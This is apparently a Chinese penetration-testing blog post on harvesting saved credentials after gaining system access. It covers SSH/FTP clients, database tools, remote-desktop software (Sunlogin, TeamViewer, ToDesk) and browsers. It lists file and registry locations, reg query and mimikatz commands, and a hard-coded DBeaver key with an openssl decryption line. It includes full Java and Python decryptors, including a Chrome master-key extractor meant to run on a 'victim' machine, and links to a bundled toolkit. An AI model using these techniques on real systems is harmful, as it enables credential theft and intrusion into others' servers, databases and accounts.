内网渗透之常用工具密码获取技巧

内网渗透之常用工具密码获取技巧

kalilm 802 2022-11-23

Demo-7500x450
xshell获取密码,SecureCRT获取密码,MobaXterm获取密码,finalshell获取密码,Winscp获取密码,FileZilla获取密码,Navicat获取密码,DBeaver获取密码,向日葵获取密码,TeamViewer获取密码,ToDesk获取密码,Chrome获取密码,firefox获取密码,360浏览器获取密码,Microsoft Edge获取密码.

在拿到系统权限后,系统中可能存在连接其他服务器的软件、数据库或浏览器等,这时候就需要去解密像ssh这类的连接软件,所有这里我对大部分软件的密码获取做一下总结
0x01 网络传输协议工具类
xshell

Xshell 是一个强大的安全终端模拟软件,它支持SSH1, SSH2, 以及Microsoft Windows 平台的TELNET 协议。

先找到xshell保存密码的位置,点打开会话文件夹
1

其中.xsh里面就是保存的链接信息包括账户密码
2

前提是登录的时候必须勾选了记住账户和密码
3
离线解密工具下载:

https://github.com/HyperSine/how-does-Xmanager-encrypt-password
python XShellCryptoHelper.py -d -key 123123 zvHVi7hm/Nsk6y2BGNVpTNSvXlPRN+/1P+aQKhFF5XJ3l2

123132为主控密码在文件导出的时候设置  后面为.xsh文件中的password字段类容
4

另一种解法 未设置主控密码

python XShellCryptoHelper.py -d -user aaaa -sid S-1-5-21-4217108860-1001 zvHVi7hm/Nsk6y2BGNVpTNSvXlPRN+/1P+aQKhFF5XJ3l2

whoami /user 查看user和sid
6

使用在线工具

https://github.com/uknowsec/SharpDecryptPwd

7
该工具只支持在线解密的方式,就是必须要将工具放到目标机器上运行。
xftp一样的
SecureCRT
SecureCRT和xshell一样,很多运维人员会将SSH的账号密码保存在上面。
前提时管理员登录时勾选了记住密码
8

SecureCRT密码密码存放位置

C:\Users\oneseven\AppData\Roaming\VanDyke\Config\Sessions

9

打开后 密码是加密的 我们需要对其进行解密

10
SecureCRT 离线解密工具:

https://github.com/HyperSine/how-does-SecureCRT-encrypt-password
python SecureCRTCipher.py dec -v2 <密码>

11

MobaXterm
MobaXterm是一款远程终端控制软件,集串口,SSH远程登录和FTP传输三合一的工具,便携版操作简单,使用非常方便。

12

连接过后会在当前目录生成一个.ini文件

13

其中就储存着我们登录的账户密码

14

离线工具下载:

https://github.com/HyperSine/how-does-MobaXterm-encrypt-password

使用命令

python MobaXtermCipher.py dec -sp <ini文件中的SessionP> <加密的Passwords>

finalshell

FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具,充分满足开发,运维需求
16

连接信息存储在C:\Users\oneseven\AppData\Local\finalshell\conn\目录下 有多少条连接就会有多少个xxx_connect_config.json文件

17

18

用户登录时必须勾选记住密码,否则不会在xxx_connect_config.json文件中保存密码

19

离线解密:别人已经写好了的java代码

FinalShellDecodePass.java

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
import  java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.Random;
 
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
 
public class FinalShellDecodePass {
     
     public static void main(String[] args)throws Exception {
     
         System.out.println(decodePass(args[0]));
     }
     public static byte[] desDecode(byte[] data, byte[] head) throws  Exception {
     
         SecureRandom sr = new SecureRandom();
         DESKeySpec dks = new DESKeySpec(head);
         SecretKeyFactory keyFactory =  SecretKeyFactory.getInstance("DES");
         SecretKey securekey = keyFactory.generateSecret(dks);
         Cipher cipher = Cipher.getInstance("DES");
         cipher.init(2, securekey, sr);
         return cipher.doFinal(data);
     }
     public static String decodePass(String data) throws Exception {
     
         if (data == null) {
     
            return null;
         } else {
     
            String rs = "";
            byte[] buf =  Base64.getDecoder().decode(data);
            byte[] head = new byte[8];
            System.arraycopy(buf, 0, head, 0,  head.length);
            byte[] d = new byte[buf.length -  head.length];
            System.arraycopy(buf,  head.length, d, 0, d.length);
            byte[] bt = desDecode(d,  ranDomKey(head));
            rs = new String(bt);
 
            return rs;
         }
     }
     static byte[] ranDomKey(byte[] head) {
     
         long ks = 3680984568597093857L / (long)(new  Random((long)head[5])).nextInt(127);
         Random random = new Random(ks);
         int t = head[0];
 
         for(int i = 0; i < t; ++i) {
     
            random.nextLong();
         }
 
         long n = random.nextLong();
         Random r2 = new Random(n);
         long[] ld = new long[]{
     (long)head[4], r2.nextLong(), (long)head[7], (long)head[3],  r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};
         ByteArrayOutputStream bos = new ByteArrayOutputStream();
         DataOutputStream dos = new DataOutputStream(bos);
         long[] var15 = ld;
         int var14 = ld.length;
 
         for(int var13 = 0; var13 < var14; ++var13) {
     
            long l = var15[var13];
 
            try {
     
                dos.writeLong(l);
            } catch (IOException var18) {
     
                var18.printStackTrace();
            }
         }
 
         try {
     
            dos.close();
         } catch (IOException var17) {
     
            var17.printStackTrace();
         }
 
         byte[] keyData = bos.toByteArray();
         keyData = md5(keyData);
         return keyData;
     }
     public static byte[] md5(byte[] data) {
     
         String ret = null;
         byte[] res=null;
 
         try {
     
            MessageDigest m;
            m =  MessageDigest.getInstance("MD5");
            m.update(data, 0, data.length);
            res=m.digest();
            ret = new BigInteger(1,  res).toString(16);
         } catch (NoSuchAlgorithmException e) {
     
            e.printStackTrace();
         }
         return res;
     }
}

先进行编译

javac FinalShellDecodePass.java

在运行

java FinalShellDecodePass <password>

其中password就是xxx_connect_config.json文件中的password字段类容

20-1

Winscp

一个 Windows 环境下使用的SSH 的开源图形化 SFTP 客户端
21
解密
密码是保存在注册表中

reg query "HKEY_CURRENT_USER\Software\MartinPrikryl\WinSCP 2\Sessions”

22
可以看到链接名称,但需要建站点时保存密码

23-1669214753953

离线工具

https://github.com/anoopengineer/winscppasswd

使用命令

winscppasswd.exe <主机>  <用户名>  <加密密码>

24

使用在线工具SharpDecryptPwd可直接获取密码

25

FileZilla

一款FTP操作类的软件

26

首先导出记录

27

导出后是一个xml文件  打开后base64就是密码 直接解密就行

28

使用在线工具SharpDecryptPwd

29

Navicat

Navicat是一套可创建多个连接的数据库管理工具,用以方便管理 MySQL、Oracle、PostgreSQL、SQLite、SQL Server、MariaDB和/或 MongoDB 等不同类型的数据库,并支持管理某些云数据库,例如阿里云、腾讯云。

连接信息是存在注册表里面
数据库 注册表位置

MySQL	HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your  connection name>
MariaDB	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your  connection name>
MicrosoftSQL	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your  connection name>
Oracle	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your  connection name>
PostgreSQL	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your  connection name>
SQLite	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your  connection name>
MongoDB	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your  connection name>

这里就只测下用mysql举例子, 其他都一样
离线工具:

https://github.com/HyperSine/how-does-navicat-encrypt-password/tree/master/python3

我们需要的是注册表中的Pwd字段的类容

python NavicatCipher.py dec 5658213B

222

使用在线工具SharpDecryptPwd进行解密

30

DBeaver
dbeaver是免费和开源(GPL)为开发人员和数据库管理员通用数据库工具。易用性是该项目的主要目标,是经过精心设计和开发的数据库管理工具。
31

连接时勾选保存密码到本地

32

C:\Users\oneseven\AppData\Roaming\DBeaverData\workspace6\General.dbeaver\目录里.json文件中存放着数据库的连接信息和密码,credentials-config.json里是密码但做了加密

33

离线解密:使用openssl解密,将credentials-config.json文件放入当前目录

openssl aes-128-cbc -d -K  babb4a9f774ab853c96c2d653dfe544a -iv 00000000000000000000000000000000 -in  credentials-config.json | dd bs=1 skip=16

34

向日葵
日葵远程控制软件是一款免费的集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件
1-1
需要获取的为两处,Fastcode:本机识别码  Encry_pwd:本机验证码
配置路径
安装版:

C:\Program Files\Oray\SunLogin\SunloginClient\config.ini

便携版(绿色版):

C:\ProgramData\Oray\SunloginClient\config.ini

注意高版本的向日葵配置是放在注册表中

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

2-1

使用离线工具:

https://github.com/wafinfo/Sunflower_get_Passwor

输入encry_pwd
3-1

使用在线工具SharpDecryptPwd

4-1

TeamViewer

TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序,桌面共享和文件传输的简单且快速的解决方案
大多数工具都是去获取进程的句柄找到ID和PASS,也有一部分是从内存中得到的。
5-1

使用工具

https://github.com/attackercan/teamviewer-dumper

6-1

github上有个项目

https://github.com/ianxtianxt/teamview

就是将tv丢到目标机器然后获取密码
TV_V2.exe在目标上运行会在当前目录生成生成3个文件
然后请运行生成的gps.exe文件之后会生成vtr.txt里面有ID和pass
连接请用windows server然后安装压缩包里的TeamViewer_Setup.exe文件
7-1

ToDesk
ToDesk 是一款多平台远程控制软件,支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作。

8-1
配置文件在安装目录下的config.ini文件,这里我是默认安装的

C:\Program Files (x86)\ToDesk\config.ini

9-1

tempAuthPassEx=7e58d8c6a5d99dc4a6fd80425f1ca5cd8f4d6f9fd7ca49a47820831b0e6953ae6e9fe248645c1d40c7511446e764aac3515b609b2b78

就是临时密码,利用方法很简单
受害机的临时密码复制出来,替换到本机的config.ini文件中,然后重启就可以看到明文密码了

10-1

Chrome
谷歌浏览器Google Chrome将简约的界面设计与先进的技术相融合,让网络浏览变得更快速、安全而且简便。
80版本前后的加密方式不一样,测试用的新版本的

11-1

保存的密码有两个

12-1

登录账户密码文件位置

C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data

cookie存储位置

C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\cookie

浏览历史储存位置

C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\History

加密key的位置

C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Local State

这是一个sql文件可以直接用数据库工具打开,密码还是加密的

![13-1](/upload/2022/11/13-1.webp

直接用mimikat在线获取google密码

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

14-1

github上有许多在线项目可解密大部份浏览器这里随便用一个

https://github.com/moonD4rk/HackBrowserData/tree/v0.3.7

15-1

根据需求下载,我这是windows直接运行就行

16-1

半离线获取
生成exe放目标机器运行 会获得一个masterkey.txt文件

import win32crypt
import os
import json
import base64
 
with open(os.environ['USERPROFILE'] +  os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State',  "r") as f:
     local_state = f.read()
     local_state = json.loads(local_state)
master_key =  base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key_w_Cry = master_key[5:]
master_key =  win32crypt.CryptUnprotectData(master_key_w_Cry, None, None, None, 0)[1]
print(master_key)
with open("masterkey.txt",'wb')  as msf:
     msf.write(master_key)

本地运行加上受害机上的masterkey.txt文件和Login Data数据库文件获取密码

import os
import sqlite3
from Crypto.Cipher import AES
 
def get_master_key():
     with open("masterkey.txt",'rb') as msf:
         buf = msf.read()
         print(buf)
         return buf
def decrypt_payload(cipher, payload):
     return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
     return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
     try:
         iv = buff[3:15]
         payload = buff[15:]
         cipher = generate_cipher(master_key, iv)
         decrypted_pass = decrypt_payload(cipher, payload)
         decrypted_pass = decrypted_pass[:-16].decode()
         return decrypted_pass
     except Exception as e:
         return "Chrome<80"
if __name__ == '__main__':
     master_key = get_master_key()
     conn = sqlite3.connect("Login Data")
     cursor = conn.cursor()
     try:
         cursor.execute("SELECT action_url, username_value, password_value  FROM logins")
         for r in cursor.fetchall():
            url = r[0]
            username = r[1]
            encrypted_password = r[2]
            print(encrypted_password)
            decrypted_password =  decrypt_password(encrypted_password, master_key)
            print("URL: " + url +  "\nUser Name: " + username + "\nPassword: " +  decrypted_password + "\n" + "*" * 50 + "\n")
     except Exception as e:
         print('error')
         pass
         cursor.close()
         conn.close()
         try:
             os.remove("Loginvault.db")
         except Exception as e:
            pass

222

离线获取

http://www.nirsoft.net/utils/chromepass.html

需要三个文件Login Data,Local State和S-1-5-21-xxxx文件

C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\oneseven\AppData\Roaming\Microsoft\Protect\S-1-5-21-xxxx
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\ Local State

需要注意的是,要确认两次才会显示出密码

17-1

firefox

Firefox 浏览器 选择会保护重要数据的浏览器 没有晦涩难懂的隐私保护政策,更不向广告商预留后门,纯粹是一款闪电般快、不会出卖您的浏览器。
火狐有一个主密码,这里测的是没有主密码的情况下
18-1

浏览器保存信息的位置

C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release

两个比较关键的文件

C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\key4.db
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\logins.json

logins.json的文件类容就是保存的密码,只不过做了加密
19-1

使用离线工具

https://github.com/unode/firefox_decrypt

需要注意的是使用的是python9+以上
直接将xxx.default-release文件夹复制到自己的电脑
20-2
也可以直接用HackBrowserData解密

360浏览器
360浏览器一般指360安全浏览器。 360安全浏览器(360 Security Browser)是360安全中心推出的一款基于IE和Chromium双内核的浏览器,是世界之窗开发者凤凰工作室和360安全中心合作的产品。
敏感文件位置,assis2.db就是存储着密码的文件

C:\Users\oneseven\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

还需要MachineGuid

reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"

22-1
离线工具

https://github.com/hayasec/360SafeBrowsergetpass

命令

Safe360Browsergetpass.exe <assis2.db文件位置> <MachineGuid>

23-1

Microsoft Edge
Microsoft Edge(简称ME浏览器)是由微软开发的基于 Chromium 开源项目及其他 开源软件的网页浏览器。
win10自带的浏览器,存了两个密码

24-1

直接用HackBrowserData解密

333

25-1

工具下载地址:

http://lmpan.lmboke.com/%E5%AF%86%E7%A0%81%E8%AF%BB%E5%8F%96_www.lmboke.com.zip
解压密码:www.lmboke.com.zip

列表:

firefox_decrypt-master.zip
hack-browser-data-windows-64bit.zip
how-does-MobaXterm-encrypt-password-master.zip
how-does-navicat-encrypt-password-master.zip
how-does-SecureCRT-encrypt-password-master.zip
how-does-Xmanager-encrypt-password-master.zip
Safe360Browsergetpass.exe.zip
SharpDecryptPwd-main.zip
teamview-master.zip
teamviewer-dumper-master.zip
winscppasswd-master.zip